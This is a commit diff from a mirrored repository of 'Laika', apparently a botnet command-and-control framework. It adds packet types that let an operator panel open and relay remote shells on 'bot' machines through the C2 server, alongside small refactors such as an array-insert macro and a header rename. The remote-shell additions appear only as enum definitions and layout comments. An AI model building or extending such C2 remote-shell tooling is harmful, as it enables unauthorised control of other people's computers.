mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-04 23:30:06 +00:00
Deprecated panel, added shell, lrsa.h -> lsodium.h
- Refactoring
This commit is contained in:
@@ -33,6 +33,7 @@
|
||||
#else
|
||||
#define LAIKA_ERROR(...) do { \
|
||||
printf("[ERROR] : " __VA_ARGS__); \
|
||||
getchar(); \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||
else \
|
||||
|
@@ -22,6 +22,14 @@
|
||||
count -= numElem; \
|
||||
}
|
||||
|
||||
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
|
||||
#define laikaM_insertarray(buf, count, indx, numElem) { \
|
||||
int _i; \
|
||||
for (_i = count; _i > indx; _i--) \
|
||||
buf[_i] = buf[_i-1]; \
|
||||
count += numElem; \
|
||||
}
|
||||
|
||||
void *laikaM_realloc(void *buf, size_t sz);
|
||||
|
||||
#endif
|
@@ -55,16 +55,16 @@ enum {
|
||||
*/
|
||||
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
|
||||
/* layout of LAIKAPKT_SHELL_OPEN:
|
||||
* uint8_t id;
|
||||
* uint8_t shellID;
|
||||
*/
|
||||
LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */
|
||||
/* layout of LAIKAPKT_SHELL_CLOSE:
|
||||
* uint8_t id;
|
||||
* uint8_t shellID;
|
||||
*/
|
||||
LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
|
||||
/* layout of LAIKAPKT_SHELL_DATA
|
||||
* uint8_t id;
|
||||
* char buf[VAR_PACKET_LENGTH]
|
||||
* uint8_t shellID;
|
||||
* char buf[VAR_PACKET_LENGTH];
|
||||
*/
|
||||
/* ==================================================[[ Auth ]]================================================== */
|
||||
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
|
||||
@@ -83,6 +83,20 @@ enum {
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_OPEN_SHELL_REQ, /* panel requesting cnc open a shell on bot */
|
||||
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_OPEN_SHELL_RES, /* panel requesting cnc open a shell on bot */
|
||||
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t shellID; -- shell id of shell opened on bot
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */
|
||||
/* layout of LAIKAPKT_SHELL_DATA
|
||||
* uint8_t shellID;
|
||||
* char buf[VAR_PACKET_LENGTH];
|
||||
*/
|
||||
LAIKAPKT_MAXNONE
|
||||
};
|
||||
|
||||
|
@@ -5,7 +5,7 @@
|
||||
#include "lsocket.h"
|
||||
#include "lpacket.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lrsa.h"
|
||||
#include "lsodium.h"
|
||||
|
||||
typedef enum {
|
||||
PEER_UNVERIFIED,
|
||||
|
@@ -51,7 +51,7 @@
|
||||
#endif
|
||||
#include <fcntl.h>
|
||||
|
||||
#include "lrsa.h"
|
||||
#include "lsodium.h"
|
||||
|
||||
typedef enum {
|
||||
RAWSOCK_OK,
|
||||
|
@@ -3,7 +3,7 @@
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lrsa.h"
|
||||
#include "lsodium.h"
|
||||
#include "lsocket.h"
|
||||
#include "lpacket.h"
|
||||
|
||||
|
Reference in New Issue
Block a user